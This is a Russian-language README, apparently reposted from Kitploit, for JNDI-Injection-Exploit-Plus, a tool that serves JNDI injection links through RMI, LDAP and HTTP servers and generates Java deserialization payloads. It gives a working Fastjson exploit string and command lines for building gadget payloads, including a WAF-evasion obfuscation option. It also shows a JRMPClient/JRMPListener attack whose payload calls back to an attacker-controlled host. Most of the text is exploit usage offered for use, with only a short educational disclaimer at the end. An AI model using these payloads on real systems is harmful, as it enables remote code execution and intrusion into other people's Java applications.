JNDI-Injection-Exploit-Plus

中文 README

Описание

JNDI-Injection-Exploit-Plus — это инструмент для генерации рабочих JNDI-ссылок и предоставления фоновых сервисов путём запуска RMI-сервера, LDAP-сервера и HTTP-сервера.

С помощью этого инструмента вы можете получить JNDI-ссылки и вставить их в свой POC для проверки уязвимости.

Например, это Fastjson-эксплоит:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

Мы можем заменить "rmi://127.0.0.1:1099/Object" на ссылку, сгенерированную JNDI-Injection-Exploit-Plus, чтобы проверить уязвимость.

Более того, вы также можете использовать JNDI-Injection-Exploit-Plus для генерации полезных нагрузок в формате base64/hex, как в ysoserial.

Больше, чем JNDI-Injection-Exploit

JNDI-Injection-Exploit — отличный инструмент, это его расширенная версия.

Что ещё добавлено

1. Больше удалённых JNDI-гаджетов (всего: 3)

• Поддержка JDK 6/7/8

2. Больше локальных JNDI-гаджетов (всего: 4)

3. Гаджеты десериализации (всего: 75)

P.S. Гаджетов больше ( ⬆️ ), чем в ysoserial. Приветствуются PR с новыми! ^_^

4. Генерация и экспорт полезных нагрузок

Как в ysoserial.

Вы можете создавать полезные нагрузки десериализации с выводом в формате Base64 или HEX.

5. Обёртки

Некоторые обёртки для упаковки данных десериализации.

• Пример

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

6. Слияние

Сокрытие имени класса для обхода WAF.

• Пример

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F

Ссылка: https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

Веб-сервис для возврата десериализационных гаджетов

java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar

POST /deserial/{Gadget}

cmd={command}&wrapper={wrapper}output={base64/hex}

P.S. Параметры wrapper и output необязательны.

Использование

JNDI-ссылки

Запуск:

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-A] [address]

Где:

• -C — команда, выполняемая в удалённом class-файле.

  (необязательно, по умолчанию "open /Applications/Calculator.app")

• -A — адрес вашего сервера, может быть IP-адресом или доменом.

  (необязательно, по умолчанию адрес первого сетевого интерфейса)

Обратите внимание:

• Убедитесь, что порты вашего сервера (1099, 1389, 8180) доступны.

  Или вы можете изменить порты по умолчанию в классе run.ServerStart.

• Ваша команда передаётся в Runtime.getRuntime().exec() в качестве параметров,

  поэтому убедитесь, что ваша команда работоспособна внутри метода exec().

  Команды в стиле bash, например "bash -c ....", необходимо заключать в двойные кавычки.

Полезные нагрузки десериализации

Запуск:

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]

Где:

• -C — команда, выполняемая в удалённом class-файле.

  (необязательно, по умолчанию "open /Applications/Calculator.app")

• -D — имя полезной нагрузки десериализационного гаджета.

• -O — (необязательно) тип вывода десериализации, по умолчанию base64

Эксплоиты десериализации

JRMP

• JRMPListener

java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc

• JRMPClient

java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64

Примеры

JNDI-ссылки

Локальная демонстрация:

1. Запустите инструмент следующим образом:

   root@kitploit:~

   $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
   

   Скриншот:

   

2. Предположим, мы внедряем JNDI-ссылку, например rmi://ADDRESS/remoteExploit8, сгенерированную на шаге 1, в уязвимое приложение, которое можно атаковать с помощью JNDI-инъекции.

   В этом примере это выглядит так:

   root@kitploit:~

   class Test{
       public static void main(String[] args) throws Exception{
           InitialContext ctx = new InitialContext();
           ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
       }
   }
   

   После запуска этого кода команда выполнится,

   а в консоли будет выведен лог:

   

Другие примеры: Test-JNDI-Injection-Exploit-Plus

Полезные нагрузки десериализации

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64

Результат в формате Base64:

Установка

Вы можете выбрать один из двух способов получения jar-файла.

1. Скачайте последний jar из Релизов.

2. Клонируйте исходный код локально и соберите (требуется Java 1.8+ и Maven 3.x+).

   root@kitploit:~

   $ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
   

   root@kitploit:~

   $ cd JNDI-Injection-Exploit-Plus
   

   root@kitploit:~

   $ mvn clean package -DskipTests
   

P.S. ‼️ Если вы получили ошибку вида "java.rmi.xxx does not exists", установите переменную окружения JAVA_HOME.

Отказ от ответственности

Вся информация и код предоставляются исключительно в образовательных целях и/или для тестирования ваших собственных систем на наличие этих уязвимостей.